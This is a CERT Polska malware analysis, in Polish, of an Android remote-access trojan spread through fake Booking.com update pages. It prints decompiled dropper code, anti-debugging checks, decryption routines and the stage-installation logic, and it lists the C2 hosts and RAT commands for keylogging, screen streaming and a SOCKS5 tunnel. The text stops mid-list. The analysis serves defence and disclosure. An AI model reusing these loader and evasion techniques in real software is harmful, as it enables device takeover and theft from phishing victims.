Zespół CERT Polska przeanalizował próbkę złośliwego systemu na Androida, dystrybuowaną z wykorzystaniem infrastruktury podszywającej się pod Booking.com. Na potrzeby tej analizy nazwaliśmy ją cifrat (nazwa od pakietu io.cifnzm.utility67pu oraz funkcjonalności RAT-a), ponieważ na moment opracowania materiału nie udało się jej wiarygodnie powiązać z żadną znaną rodziną malware.
Analizowana próbka była dystrybuowana dzięki wiadomości phishingowych prowadzących do fałszywej strony aktualizacji
aplikacji Booking Pulse i pobrania złośliwego pliku APK.
Widoczna dla ofiary aplikacja była jedynie początkiem całej ścieżki infekcji. Analiza statyczna i dynamiczna pokazały, iż pobrany plik APK jest wieloetapowym dropperem, który rozpakowuje drugi plik APK, następnie ukryty końcowy moduł, a ostatecznie uruchamia RAT wykorzystujący usługi ułatwień dostępu i komunikujący się przez WebSocket.
Podstawowe informacje
Łańcuch infekcji rozpoczyna się od wiadomości phishingowej. Ofiara jest nakłaniana do kliknięcia odnośnika, który przekierowuje najpierw do:
https://share.google/Yc9fcYQCgnKxNfRmH
a następnie do:
https://booking.interaction.lat/starting/
Końcowa strona podszywa się pod komunikat bezpieczeństwa/aktualizacji Booking.com i oferuje pobranie złośliwego pliku:
Pobrana aplikacja pełni rolę zewnętrznego droppera. Po instalacji ładuje bibliotekę natywną, odszyfrowuje kolejny osadzony plik APK podszywający się pod Google Play Services, a ten drugi etap odszyfrowuje jeszcze jeden ukryty moduł. Finalnie odzyskany payload to pełnoprawny RAT z nadużyciem ułatwień dostępu, nakładkami phishingowymi, dostępem do SMS-ów, strumieniowaniem ekranu, obsługą kamery, zdalnymi gestami i tunelem SOCKS5.
Przebieg infekcji
Przebieg infekcji odtworzony z perspektywy ofiary wygląda następująco.
Ofiara otrzymuje wiadomość phishingową. Wiadomość wykorzystuje socjotechnikę, aby skłonić odbiorcę do kliknięcia odnośnika osadzonego w jej treści.
Kliknięcie odnośnika przekierowuje ofiarę przez share.google/Yc9fcYQCgnKxNfRmH do booking.interaction.lat/starting/. Na tej stronie użytkownik widzi fałszywy komunikat Booking.com o konieczności aktualizacji zabezpieczeń. Naciśnięcie przycisku Aktualizuj teraz powoduje pobranie pliku com.pulsebookmanager.helper.apk. Pobrana aplikacja podszywa się pod Booking Pulse:

Po instalacji aplikacja nie ujawnia od razu docelowego szkodliwego działania. Zamiast tego działa jako powłoka dostarczająca kolejne etapy. Ładuje dekoder w obrębie natywnej biblioteki, odszyfrowuje osadzony drugi etap i instaluje go pod pakietem io.cifnzm.utility67pu, opisanym jako Google Play Services.
Ten drugi etap również nie jest finalnym payloadem. Jego klasa Application wydobywa kolejny ukryty zasób o nazwie FH.svg, odszyfrowuje go, traktuje wynik jako archiwum ZIP, ładuje z niego ukryte pliki dex i dopiero wtedy przekazuje wykonanie do adekwatnego modułu złośliwego oprogramowania.
Na tym etapie malware staje się w pełni funkcjonalnym RAT-em. Odzyskany finalny wsad zawiera obsługę strumieniowania ekranu, keylogging, HTML injection, zbieranie SMS-ów, obsługę kamery, zdalne gesty, manipulację urządzeniem i dwukanałową komunikację WebSocket z serwerem C2 otptrade.world.
Co przyniosła analiza próbki?
- Pobrany pakiet APK to com.pulsebookmanager.helper, z etykietą Pulse.
- Zewnętrzny APK zrzuca i ładuje bibliotekę natywną l0a0cac5c.so.
- Ta biblioteka natywna dekoduje ukryte stringi i kontroluje dalszy przebieg instalacji.
- Zewnętrzny APK odszyfrowuje res/raw/init_bundle_uzge.bin przy użyciu 32-bajtowego klucza XOR i instaluje wynik jako io.cifnzm.utility67pu.
- Zainstalowany drugi etap jest opisany jako Google Play Services.
- Drugi etap wydobywa ukryty zasób FH.svg.
- FH.svg jest odszyfrowywany algorytmem podobnym do RC4 z kluczem mLYQ.
- Odszyfrowany blob zawiera finalne pliki dex.
- Końcowy moduł złośliwego systemu komunikuje się z otptrade.world przez rozdzielone kanały control/data oparte na WebSocket.
Jak się chronić?
- Pobieraj aplikacje wyłącznie z oficjalnych sklepów, takich jak Google Play Store lub App Store.
- Traktuj każdą aktualizację aplikacji dostarczaną ze strony WWW jako podejrzaną, szczególnie jeżeli wymaga manualnej instalacji pliku APK.
- Jeśli po instalacji z nieznanego źródła aplikacja prosi o dostęp do usług ułatwień dostępu, nagrywania ekranu, nasłuchu powiadomień lub nakładek ekranowych, należy potraktować to jako krytyczny sygnał ostrzegawczy.
Analiza techniczna
Każda aplikacja na Androida posiada plik AndroidManifest.xml. W tej próbce już sam manifest pokazuje, iż pobrany plik APK wykorzystujący wizerunek Booking.com nie jest zwykłą samodzielną aplikacją. Jeszcze przed dekompilacją kodu manifest ujawnia konstrukcję typową dla stage installera: aplikacja prosi o uprawnienia do sideloadingu, jawnie oczekuje istnienia kolejnego pakietu, używa niestandardowej klasy Application do wczesnego bootstrapu i monitoruje zdarzenia związane z instalacją pakietów.
Pierwszym użytecznym wskaźnikiem jest manifest zewnętrznego APK. choćby bez dekompilacji kodu Java widać w nim aplikację ukierunkowaną na instalację kolejnego pakietu i monitorowanie postępu tego procesu.
<application
android:allowBackup="true"
android:dataExtractionRules="@xml/data_extraction_rules"
android:extractNativeLibs="true"
android:fullBackupContent="@xml/backup_rules"
android:hardwareAccelerated="true"
android:icon="@mipmap/ic_launcher"
android:label="Pulse"
android:largeHeap="true"
android:name="v0a0cac5c.l0a0cac5c"
android:networkSecurityConfig="@xml/network_security_config"
android:requestLegacyExternalStorage="true"
android:roundIcon="@mipmap/ic_launcher"
android:supportsRtl="true"
android:theme="@style/AppTheme.NoActionBar">
Już na tym etapie widać kilka istotnych rzeczy:
- REQUEST_INSTALL_PACKAGES oznacza, iż zewnętrzny APK ma instalować inną aplikację.
- Blok <queries> jawnie wskazuje na io.cifnzm.utility67pu, który okazuje się pakietem drugiego etapu.
- v0a0cac5c.l0a0cac5c to niestandardowa klasa Application, więc kod bootstrapujący uruchamia się przed logiką głównej aktywności.
- AppTaskLoaderdu2 jest zarejestrowany do obsługi zdarzeń związanych z instalacją pakietów, co jest typowe dla droppera, który chce śledzić i natychmiast uruchamiać zainstalowany payload.
Dalej w manifeście widać również żądanie uprawnień RECEIVE_BOOT_COMPLETED, QUERY_ALL_PACKAGES, MANAGE_EXTERNAL_STORAGE, REQUEST_DELETE_PACKAGES i PACKAGE_USAGE_STATS. Taki zestaw jest nieproporcjonalny do aplikacji powiązanej z Booking.com, ale spójny z dropperem, który potrzebuje szerokiego wglądu w pakiety, kontroli nad instalacją oraz opcji persystencji po instalacji.
Do tego dochodzą zaszyte zasoby tekstowe, które pokazują, iż widoczna aplikacja pełni raczej rolę pośrednika instalacyjnego
niż normalnej aplikacji Booking.com:
<string
name="app_name">Pulse</string>
<string
name="s_bpetbn">Please complete the installation to continue</string>
<string
name="s_rqkzlj">Installation Permission Required</string>
<string
name="s_rtmrf">Secure installation process</string>
<string
name="s_vptqsa">Install Software</string>
<string
name="s_yxvof">%1$s Installed</string>
Już na poziomie manifestu i zasobów zewnętrzny APK wygląda więc jak powłoka instalacyjna.
Etap 0: aktywność startowa, lokalny WebView i interfejs JavaScript
Zewnętrzna aktywność startowa to BaseActionHandler6ut. Jej zadaniem jest wyświetlenie ofierze fałszywego procesu
aktualizacji, ale implementacja pokazuje, iż nie jest to zwykła statyczna strona HTML. Aktywność tworzy WebView, rejestruje interfejs wywołań z poziomu JavaScript i ładuje zdekodowany lokalny zasób:
PemuhehControllerj5b
pemuhehControllerj5b
=
new
PemuhehControllerj5b(new
v6(this,
0));
WebView
webView5
=
this.c;
if
(webView5
==
null)
{
webView5
=
null;
}
webView5.addJavascriptInterface(pemuhehControllerj5b,
m0a0cac5c.F0a0cac5c_11("Qv371914071D2418"));
WebView
webView6
=
this.c;
if
(webView6
==
null)
{
webView6
=
null;
}
webView6.loadUrl(m0a0cac5c.F0a0cac5c_11("oa07090F075F53545508180F1E1A15134D1023241729631C1E231E242B211F1E6E29362E30"));
Po odwróceniu działania natywnego dekodera opartego na JNI wartości te przyjmują postać:
- nazwa interfejsu JavaScript: Android
- początkowo ładowana strona: file:///android_asset/gfjdkqdca.html
Nie oznacza to jednak, iż ofiara widzi wyłącznie lokalną stronę. Lokalny zasób pełni rolę strony bootstrapującej używanej przez zewnętrzny dropper. Równolegle ten sam etap zewnętrzny dekoduje xc.b do https://booking.interaction.lat/update/, przekazuje tę wartość do KokokotProcessorrdy, a ta aktywność ładuje przekazany adres we własnym WebView. Ten sam zdalny motywowany Booking.com adres jest później ponownie wykorzystywany przez etap finalny przez BuildConfig.BASE_URL. W praktyce etap 0 zaczyna się od lokalnego zasobu bootstrapującego, ale widoczny dla użytkownika fałszywy "Booking" to zdalna strona https://booking.interaction.lat/update/.
Interfejs nie jest elementem kosmetycznym. Profiluje urządzenie ofiary i może uruchamiać dalszy proces instalacji:
@JavascriptInterface
public
final
String
get_SYSINFO()
{
JSONObject
jSONObject
=
new
JSONObject();
int
i
=
Build.VERSION.SDK_INT;
Locale
locale
=
Resources.getSystem().getConfiguration().getLocales().get(0);
String
language
=
locale.getLanguage();
Locale
locale2
=
Locale.ROOT;
String
lowerCase
=
language.toLowerCase(locale2);
String
upperCase
=
locale.getCountry().toUpperCase(locale2);
jSONObject.put("sdk",
i);
jSONObject.put(m0a0cac5c.F0a0cac5c_11("$h05080E1008"),
Build.MODEL);
jSONObject.put(m0a0cac5c.F0a0cac5c_11("/459565C44565A5D47494F5B51"),
Build.MANUFACTURER);
return
jSONObject.toString();
}
@JavascriptInterface
public
final
void
start()
{
pm.c(m0a0cac5c.F0a0cac5c_11("bm3D09021B090D0B350A0C232A0E0E0F172F186A22"),
m0a0cac5c.F0a0cac5c_11("T>74604A627162525E565328686B5F606A6A2F91636E61676E722967657B696835373F35416E717D80818476827C864C86807E7C92868795818F8A8A"));
this.mainHandler.post(new
x2(8,
this));
}
Oznacza to, iż fałszywa strona Booking.com może jednocześnie zbierać informacje o urządzeniu i przesuwać ofiarę głębiej w łańcuch infekcji.
Etap 1: inicjalizacja w klasie Application i zrzucenie biblioteki natywnej
Właściwa inicjalizacja zaczyna się jeszcze wcześniej, w v0a0cac5c.l0a0cac5c.attachBaseContext(). Ta klasa kopiuje odpowiednią bibliotekę natywną z zasobów APK do prywatnego katalogu i ładuje ją przez System.load():
if
(c(context,
str))
{
d(context,
str,
str2,
c
+
j(new
byte[]{71,
26,
6}));
System.load(str2
+
File.separator
+
c
+
j(new
byte[]{71,
26,
6}));
}
else
if
(z)
{
System.loadLibrary(c
+
j(new
byte[]{54,
17,
81,
95}));
}
else
{
System.loadLibrary(c);
}
I0a0cac5c_00(context);
APK zawiera cztery warianty architektoniczne:
W obserwowanym uruchomieniu wariant x64 został zrzucony do:
- /data/user/0/com.pulsebookmanager.helper/files/.ss/l0a0cac5c.so
i załadowany właśnie z tej ścieżki. Zrzut runtime zgadzał się z osadzonym zasobem.
Na tym etapie zewnętrzny APK zrobił już trzy rzeczy:
- zbudował widoczną dla ofiary przynętę,
- załadował bibliotekę natywną pełniącą rolę bootstrapu,
- przekazał kontrolę do JNI jeszcze przed zakończeniem głównego przepływu instalacyjnego.
Analiza natywna: rejestracja JNI i mechanizmy utrudniające analize
Analiza l0a0cac5c_x64.so pokazuje, iż biblioteka nie jest biernym pomocnikiem. JNI_OnLoad lokalizuje zobfuskowaną klase dekodera, rejestruje dla niej metody natywne, pobiera ścieżki runtime i wykonuje kontrole utrudniające analizę przed kontynuacją działania.
W zdekompilowanej ścieżce JNI_OnLoad widać:
iVar3
=
(**(code
**)(*param_1
+
0x30))(param_1,&local_488,0x10002);
if
(iVar3
!=
0)
{
pcVar24
=
"JNI_OnLoad could not get JNI env";
goto
LAB_00222d67;
}
lVar4
=
(**(code
**)(*local_488
+
0x30))(local_488,s_m0a0cac5c_002d0750);
if
(lVar4
==
0)
{
FUN_00221e90("Fail to find class: %s\n",s_m0a0cac5c_002d0750);
return
0xffffffff;
}
iVar3
=
(**(code
**)(*local_488
+
0x6b8))(local_488,lVar4,&PTR_s_vm_init_002cf610,0xc);
if
(iVar3
<
0)
{
pcVar24
=
"RegisterNatives error";
goto
LAB_00222d67;
}
To istotne, ponieważ potwierdza, iż częste wywołania m0a0cac5c.F0a0cac5c_11(...) po stronie Java są faktycznie obsługiwane przez natywny dekoder zarejestrowany na starcie procesu.
Ta sama ścieżka JNI_OnLoad odzyskuje też lokalizacje runtime:
lVar5
=
(**(code
**)(*local_488
+
0x388))(local_488,lVar4,"getPath","()Ljava/lang/String;");
uVar6
=
FUN_0021ecd0(local_488,lVar4,lVar5);
pcVar24
=
(char
*)(**(code
**)(*local_488
+
0x548))(local_488,uVar6,0);
DAT_002d2ef0
=
strdup(pcVar24);
(**(code
**)(*local_488
+
0x550))(local_488,uVar6,pcVar24);
if
(DAT_002d2ee9
!=
'\0')
{
lVar5
=
(**(code
**)(*local_488
+
0x388))
(local_488,lVar4,"getjarPath","()Ljava/lang/String;");
if
(((lVar5
==
0)
||
(lVar4
=
FUN_0021ecd0(local_488,lVar4,lVar5),
lVar4
==
0))
||
(pcVar24
=
(char
*)(**(code
**)(*local_488
+
0x548))(local_488,lVar4,0),
pcVar24
==
(char
*)0x0))
{
pcVar24
=
"getjarPath error";
goto
LAB_00222d67;
}
DAT_002d2ef8
=
strdup(pcVar24);
(**(code
**)(*local_488
+
0x550))(local_488,lVar4,pcVar24);
}
oraz sprawdza /proc/self/maps pod kątem obecności libjdwp.so, co wyraźnie wskazuje na obecność mechanizmu utrudniającego debugowanie:
pFVar7
=
fopen(local_448,"r");
if
(pFVar7
!=
(FILE
*)0x0)
{
pcVar24
=
fgets((char
*)local_438,0x400,pFVar7);
if
(pcVar24
==
(char
*)0x0)
{
uVar9
=
0;
}
else
{
uVar9
=
0;
do
{
pcVar24
=
strrchr((char
*)local_438,0x2f);
if
(pcVar24
!=
(char
*)0x0)
{
pcVar8
=
strrchr((char
*)local_438,10);
if
(pcVar8
!=
(char
*)0x0)
{
*pcVar8
=
'\0';
}
iVar3
=
strcmp(pcVar24
+
1,"libjdwp.so");
if
(iVar3
==
0)
{
pcVar24
=
strchr((char
*)local_438,0x2d);
*pcVar24
=
'\0';
uVar9
=
strtoull((char
*)local_438,(char
**)0x0,0x10);
break;
}
}
pcVar24
=
fgets((char
*)local_438,0x400,pFVar7);
}
while
(pcVar24
!=
(char
*)0x0);
}
fclose(pFVar7);
if
(uVar9
!=
0)
{
return
0xffffffff;
}
}
Takie zachowanie natywnej warstwy zgadza się z pozostałymi obserwacjami z próbki:
- dekodowaniem ukrytych stringów,
- obsługą ścieżek runtime,
- mechanizm utrudniający debugowanie,
- mechanizmami wykrywania Fridy i emulatora, widocznymi w odszyfrowanych stringach natywnych.
Odzyskana semantyka natywnego dekodera
Kod Java zewnętrznej warstwy jest wypełniony wywołaniami w rodzaju:
webView5.addJavascriptInterface(pemuhehControllerj5b,
m0a0cac5c.F0a0cac5c_11("Qv371914071D2418"));
webView6.loadUrl(m0a0cac5c.F0a0cac5c_11("oa07090F075F53545508180F1E1A15134D1023241729631C1E231E242B211F1E6E29362E30"));
Po analizie natywnego dekodera uzyskaliśmy następującą semantykę:
- pierwszy znak jest ignorowany,
- drugi znak pełni rolę jednobajtowego klucza XOR,
- pozostała część ciągu jest traktowana jako zapis szesnastkowy,
- dla bajtu na pozycji i wykonywane jest ((byte - i) & 0xff) ^ key.
Ten dekoder pozwala odzyskać najważniejsze wskaźniki zewnętrznego etapu:
- io.cifnzm.utility67pu
- https://aplication.digital/receiving/stats/
- file:///android_asset/gfjdkqdca.html
- https://booking.interaction.lat/update/
To moment, w którym zewnętrzny APK przestaje wyglądać jak zwykła fałszywa aplikacja, a zaczyna wyglądać jak rzeczywisty staged loader.
Aby ten etap był reprodukowalny, przygotowaliśmy prosty helper implementujący odzyskany natywny algorytm dekodowania:
def
decode_native(s:
str)
->
str:
if
len(s)
<
4:
return
""
key
=
ord(s[1])
body
=
s[2:]
raw
=
bytes.fromhex(body)
out
=
bytearray()
for
i,
b
in
enumerate(raw):
out.append(((b
-
i)
&
0xFF)
^
key)
return
out.decode("utf-8",
errors="replace")
Za pomocą tego helpera zaszyte wartości wykorzystywane przez loader można dekodować w sposób deterministyczny:
python3 decode_native_strings.py \
'Qv371914071D2418'
\
'oa07090F075F53545508180F1E1A15134D1023241729631C1E231E242B211F1E6E29362E30'
Qv371914071D2418 => Android
oa07090F075F53545508180F1E1A15134D1023241729631C1E231E242B211F1E6E29362E30 => file:///android_asset/gfjdkqdca.html
Właśnie w ten sposób powstał zestaw odszyfrowanych stałych używanych w dalszej części analizy.
Etap 2: odszyfrowanie kolejnego pakietu przy użyciu XOR i przekazanie do PackageInstaller
Kolejny etap jest przechowywany jako:
Ten punkt jest istotny, ponieważ 32-bajtowy klucz XOR nie jest zapisany w kodzie Java jako jawna stała. Zamiast tego kod Java przekazuje obfuskowany ciąg znaków do natywnego dekodera opartego na JNI, otrzymuje w odpowiedzi 64-znakową wartość szesnastkową, zamienia ją na 32
bajty i dopiero wtedy wykorzystuje je do odszyfrowania init_bundle_uzge.bin. Oznacza to, iż materiał najważniejszy odzyskiwany jest przez natywną ścieżkę dekodowania, natomiast samo odszyfrowanie pliku etapu 2 metodą XOR odbywa się już w Javie:
public
static
byte[]
F()
{
byte[]
bArr
=
new
byte[32];
for
(int
i
=
0;
i
<
64;
i
+=
2)
{
String
strF0a0cac5c_11
=
m0a0cac5c.F0a0cac5c_11("Z@2674747727782B7D2C7A7B7C7D2E338287338336888D38893A3F923C418E934194469A499D9E484D9F999AA4A0A1A0A055AAA7A8A95B59ACAE5DACB462AD5FB7");
bArr[i
/
2]
=
(byte)
(Character.digit(strF0a0cac5c_11.charAt(i
+
1),
16)
+
(Character.digit(strF0a0cac5c_11.charAt(i),
16)
<<
4));
}
return
bArr;
}
Odzyskany klucz hex:
- f324c3e6d1111ae37b1c48b2bf8ae15b4e8f99bf70094421e9555fc56d29f0a8
Aby zweryfikować ścieżkę rozpakowywania etapu 2 niezależnie od działania aplikacji, przygotowaliśmy również minimalny helper stosujący odzyskany 32-bajtowy klucz XOR do init_bundle_uzge.bin:
from
pathlib
import
Path
src
=
root
/
"apktool"
/
"res"
/
"raw"
/
"init_bundle_uzge.bin"
dst
=
root
/
"artifacts"
/
"init_bundle_uzge.dec"
KEY_HEX
=
"f324c3e6d1111ae37b1c48b2bf8ae15b4e8f99bf70094421e9555fc56d29f0a8"
key
=
bytes.fromhex(KEY_HEX)
data
=
src.read_bytes()
out
=
bytes(b
^
key[i
%
len(key)]
for
i,
b
in
enumerate(data))
dst.write_bytes(out)
Uruchomienie tego helpera daje drugi etap w postaci pliku APK, który można dalej rozpakować i zdekompilować:
python3 decrypt_bundle.py
Odszyfrowany wynik jest następnie zapisywany do sesji PackageInstaller:
byte[]
bArrP
=
ig.p(vsVar.a,
i,
ig.F());
Context
context
=
vsVar.a;
Context
context2
=
vsVar.a;
PackageInstaller
packageInstaller
=
context.getPackageManager().getPackageInstaller();
int
iCreateSession
=
packageInstaller.createSession(new
PackageInstaller.SessionParams(1));
PackageInstaller.Session
sessionOpenSession
=
packageInstaller.openSession(iCreateSession);
String
strF0a0cac5c_113
=
m0a0cac5c.F0a0cac5c_11("P'44494C0C5B57515B4A4E525358575458565154681D6458626F5B6F247F8587819889938D9288979595");
String
str
=
this.c;
OutputStream
outputStreamOpenWrite
=
sessionOpenSession.openWrite(m0a0cac5c.F0a0cac5c_11("A{0B1B1A131E2124"),
0L,
bArrP.length);
outputStreamOpenWrite.write(bArrP);
sessionOpenSession.fsync(outputStreamOpenWrite);
outputStreamOpenWrite.close();
Intent
intent
=
new
Intent(context2,
(Class<?>)
AppTaskLoaderdu2.class);
intent.setAction(strF0a0cac5c_113);
intent.putExtra(m0a0cac5c.F0a0cac5c_11("\\|0C1E211A21201F2A1A261B24"),
str);
sessionOpenSession.commit(PendingIntent.getBroadcast(context2,
iCreateSession,
intent,
f30.s()).getIntentSender());
Analiza potwierdziła, iż zewnętrzny APK odszyfrowuje i instaluje drugi plik APK:
- pakiet: io.cifnzm.utility67pu
- etykieta: Google Play Services
Zewnętrzny etap raportuje również przebieg instalacji na odszyfrowany adres raportujący. W analizowanej próbce adres ten nie jest zapisany w postaci jawnego tekstu. Zostaje zainicjalizowany w ad.a przez natywny dekoder oparty na JNI, a następnie przekazany przez JuwekinManager89k.report() jako reportUrl, które ostatecznie trafia do wywołania new URL(this.reportUrl).openConnection(). Odszyfrowaną wartością jest https://aplication.digital/receiving/stats/:
HttpURLConnection
httpURLConnection2
=
(HttpURLConnection)
new
URL(this.reportUrl).openConnection();
httpURLConnection2.setRequestMethod(m0a0cac5c.F0a0cac5c_11("R[0B150A12"));
httpURLConnection2.setDoOutput(true);
httpURLConnection2.setDoInput(true);
httpURLConnection2.setUseCaches(false);
httpURLConnection2.setRequestProperty(m0a0cac5c.F0a0cac5c_11("<g24090B16060E19513B27210D"),
m0a0cac5c.F0a0cac5c_11("9(49595A4745504F63495050124E68555523195D535D6F7164742E97978A222E"));
httpURLConnection2.setRequestProperty(m0a0cac5c.F0a0cac5c_11("aW163536352B28"),
m0a0cac5c.F0a0cac5c_11("~R332324413F36392D43464688442E4B4B"));
httpURLConnection2.setConnectTimeout(10000);
httpURLConnection2.setReadTimeout(10000);
String
strQefh
=
MainContentProcessorjjy.qefh(new
byte[]{82,
36,
90,
-111,
-19,
-77,
69,
-118,
-17,
-66,
-99,
5,
-32,
79,
-51},
new
byte[]{59,
73,
42,
-3,
-116,
-35,
49,
-43,
-97,
-33,
-2,
110,
-127,
40,
-88});
String
str
=
zc.a;
jSONObject.put(strQefh,
zc.a);
jSONObject.put(MainContentProcessorjjy.qefh(new
byte[]{16,
-121,
17,
82,
113,
-109,
124,
-41,
104,
75},
new
byte[]{117,
-15,
116,
60,
5,
-52,
8,
-82,
24,
46}),
this.eventType);
jSONObject.put(m0a0cac5c.F0a0cac5c_11("qU213D3A332A263A3F2D"),
System.currentTimeMillis()
/
((long)
1000));
Odzyskane nazwy zdarzeń obejmują m.in.:
- dropper_opened
- install_started
- install_completed
- install_failed
- implant_launched
Manifest etapu 2
Po rozpakowaniu widać, iż io.cifnzm.utility67pu udostępnia już komponenty związane z ułatwieniami dostępu, SMS-ami, uprawnieniami administratora, przechwytywaniem ekranu i kamerą. Jeszcze zanim zostanie rozpakowany ukryty etap FH.svg, manifest drugiego etapu wygląda jednoznacznie złośliwie:
Oznacza to, iż etap 2 zawiera już strukturalne komponenty modułu złośliwego oprogramowania, a nie nieszkodliwy moduł aktualizacyjny.
Etap 3: ukryty payload FH.svg i rozpakowanie z użyciem algorytmu przypominającego RC4
Najważniejsze rzecz znaleziona podczas analizy polega na tym, iż zainstalowany io.cifnzm.utility67pu przez cały czas nie jest finalnym etapem. Jego klasa Application, Cgridthey, wydobywa kolejny ukryty zasób FH.svg i odszyfrowuje go przed uruchomieniem adekwatnego payloadu.
Kluczowe stałe etapu 3 są widoczne bezpośrednio w kodzie:
public
String
k
=
"shrimp";
public
String
l
=
"FH.svg";
public
String
B
=
"mLYQ";
Procedura deszyfrowania w Cgridthey ma charakter podobny do RC4:
byte[]
bytes
=
this.B.getBytes();
int
i7
=
this.q;
this.x
=
562336
*
i7
*
this.x;
int
i8
=
this.p;
int
i9
=
(951570
*
i8)
-
this.z;
this.x
=
i9;
int
i10
=
this.m;
int
i11
=
this.n;
this.z
=
(((i10
-
794100)
+
794022)
-
i11)
-
i11;
int
i12
=
i9
*
369750
*
i8;
this.n
=
i12;
int
i13
=
this.w;
this.x
=
i8
-
(436916
*
i13);
int
i14
=
this.i;
int
i15
=
120857
*
i14
*
743786
*
i13;
this.z
=
i15;
int
i16
=
i13
*
710192
*
434037
*
i14
*
i15;
this.z
=
i16;
int[]
iArr
=
new
int[256];
this.q
=
((i16
*
918003)
*
69410)
-
(i7
*
i10);
this.i
=
(((i12
-
155490)
-
145146)
-
i10)
-
i14;
for
(int
i17
=
0;
i17
<
256;
i17++)
{
iArr[i17]
=
i17;
}
int
i18
=
this.i;
int
i19
=
this.q;
int
i20
=
this.z;
int
i21
=
((586797
*
i18)
*
967789)
-
(i19
*
i20);
this.p
=
i21;
this.p
=
((i20
-
1844839965)
+
i21)
-
i18;
int
i22
=
0;
for
(int
i23
=
0;
i23
<
256;
i23++)
{
i22
=
(((i22
+
iArr[i23])
+
bytes[i23
%
bytes.length])
+
256)
%
256;
g(i23,
i22,
iArr);
}
for
(int
i40
=
0;
i40
<
bArr.length;
i40++)
{
int
i41
=
this.m;
int
i42
=
this.p;
this.n
=
217123
+
i41
+
885800
+
i42
+
i41;
int
i43
=
this.x;
int
i44
=
574525
+
i43
+
this.w;
this.w
=
i44;
int
i45
=
this.z;
int
i46
=
((959253
*
i45)
-
998332)
-
(this.q
*
i43);
this.q
=
i46;
int
i47
=
(this.s
+
1)
%
256;
this.s
=
i47;
if
(i46
==
954692)
{
this.m
=
497340
+
i44
+
i45;
this.x
=
i42
+
443791
+
265205
+
i44;
this.p
=
(134507
*
i45)
-
i45;
this.z
=
(i44
*
349505)
+
i45
+
766441;
}
else
if
(i46
==
875409)
{
this.m
=
(i42
-
717300)
-
this.i;
this.n
=
i42
+
998010
+
i44;
}
else
{
this.m
=
(i44
+
278880)
-
(i46
*
681527);
this.z
=
(i42
*
240077)
+
746338
+
i43;
this.q
=
this.i
+
679593
+
i43;
}
int
i48
=
this.t;
int[]
iArr2
=
this.u;
int
i49
=
(i48
+
iArr2[i47])
%
256;
this.t
=
i49;
int
i50
=
this.i;
int
i51
=
(531245
*
i50)
+
(280568
*
i50);
this.z
=
i51;
int
i52
=
(((this.n
-
50200)
-
500209)
+
this.q)
-
i51;
this.n
=
i52;
this.p
=
(i52
*
i50)
+
((814031
*
i50)
-
90657);
g(i47,
i49,
iArr2);
int[]
iArr3
=
this.u;
bArr2[i40]
=
(byte)
(iArr3[(iArr3[this.s]
+
iArr3[this.t])
%
256]
^
bArr[i40]);
}
Po deszyfrowaniu wynik jest traktowany jako archiwum i wstrzykiwany do aktywnego class loadera:
File
dir
=
context.getDir(this.k,
0);
String
absolutePath2
=
new
File(absolutePath,
this.l).getAbsolutePath();
File
file
=
new
File(absolutePath,
this.l);
boolean
zD
=
d(absolutePath2,
context);
Gdy d(absolutePath2, context) zwraca sukces, zasób jest dodawany do ArrayList i ładowany przez:
arrayList.add(file);
a.d(this.j.getClassLoader(),
dir,
arrayList);
Następnie wykonanie zostaje przekazane do prawdziwej finalnej aplikacji:
Odszyfrowanie FH.svg odzyskuje rzeczywiste ukryte pliki dex. To właśnie ten etap zawiera adekwatną logikę RAT-a.
Aby pokazać reprodukowalność tego etapu, odwzorowaliśmy logikę w osobnym helperze i zastosowaliśmy ją bezpośrednio do ukrytego zasobu:
def
rc4(data:
bytes,
key:
bytes)
->
bytes:
s
=
list(range(256))
j
=
0
for
i
in
range(256):
j
=
(j
+
s[i]
+
key[i
%
len(key)])
%
256
s[i],
s[j]
=
s[j],
s[i]
out
=
bytearray()
i
=
0
j
=
0
for
b
in
data:
i
=
(i
+
1)
%
256
j
=
(j
+
s[i])
%
256
s[i],
s[j]
=
s[j],
s[i]
out.append(b
^
s[(s[i]
+
s[j])
%
256])
return
bytes(out)
plain
=
rc4(asset.read_bytes(),
b"mLYQ")
python3 unpack_stage3.py
Wynikiem jest FH.svg.rc4.dec, czyli archiwum ZIP zawierające finalną ukrytą parę dex:
Uruchomienie końcowego modułu
Nawet na tym etapie aplikacja przez cały czas prezentuje ofierze tę samą widoczną fałszywą strone opartą na motywie Booking.com (używając webview):
public
static
final
String
APP_NAME
=
"Google Play Services";
public
static
final
String
BASE_URL
=
"https://booking.interaction.lat/update/";
jednak jej MainApplication zachowuje się już jak trwały moduł złośliwego oprogramowania:
DualWebSocketProvider.INSTANCE.initialize(mainApplication,
true);
DynamicIntentReceiver.INSTANCE.register(mainApplication);
mainApplication.startPersistentServices();
mainApplication.ensureUninstallProtectionReady();
mainApplication.initializeNotificationPersistence();
mainApplication.startServiceHealthMonitoring();
mainApplication.initializeAlarmPersistence();
mainApplication.initializeWebSocketHealthMonitoring();
mainApplication.initializePermissionLossProtection();
W praktyce ważne są tu dwie rzeczy:
- malware od razu uruchamia długotrwałe usługi,
- jawnie inicjalizuje ochronę przed odinstalowaniem, mechanizmy monitorowania stanu, persystencję alarmów i logikę odzyskiwania WebSocket.
To nie wygląda jak zachowanie prostego modułu pobierającego. To logika inicjalizacji adekwatnego modułu RAT-a.
Finalne C2: rozdzielona architektura WebSocket control/data
Finalny etap hardkoduje pojedynczy host backendu, a następnie buduje z niego dwa niezależne kanały WebSocket:
private
static
final
List<String>
SERVER_HOSTS
=
CollectionsKt.listOf("otptrade.world");
private
static
String
BUILD_TAG
=
"pulse_1";
private
static
final
Set<String>
CONTROL_MESSAGE_TYPES
=
SetsKt.setOf((Object[])
new
String[]{"ping",
"pong",
"androidHandshake",
"viewerHandshake",
"command",
"gesture",
"viewerControl",
"disableUninstallProtection",
"enableUninstallProtection",
"getKeylogs",
"clearKeylogs",
"getInstalledApps",
"getDeviceState",
"getKeyguardInfo",
"switchClient",
"requestClientList",
"identification",
"command_response",
"vnc_screen_sharing_started",
"vnc_screen_sharing_stopped",
"vnc_screen_sharing_error",
"vnc_screen_sharing_status",
"websocket_health_report",
"health_ping",
"health_send_test",
"websocket_recovery_report",
"websocket_recovery_status",
"permission_granted_notification",
"permission_status_report",
"accessibility_service_status",
"socks5_enable",
"socks5_status_request"});
private
static
final
Set<String>
DATA_MESSAGE_TYPES
=
SetsKt.setOf((Object[])
new
String[]{"screenUpdate",
"screenLayout",
"screenFrame",
"vncScreenFrame",
"keylog_batch",
"camera_frame",
"camera_system_ready",
"camera_command_response",
"camera_status",
"camera_status_response",
"camera_error",
"camera_unexpected_stop",
"sms_batch",
